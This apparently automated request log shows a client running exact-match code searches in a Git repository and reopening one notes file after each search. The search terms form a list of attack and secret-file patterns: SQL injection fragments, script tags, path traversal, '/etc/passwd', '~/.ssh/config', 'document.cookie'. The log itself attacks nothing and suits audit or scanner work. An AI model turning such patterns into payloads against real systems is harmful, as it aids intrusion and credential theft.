{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
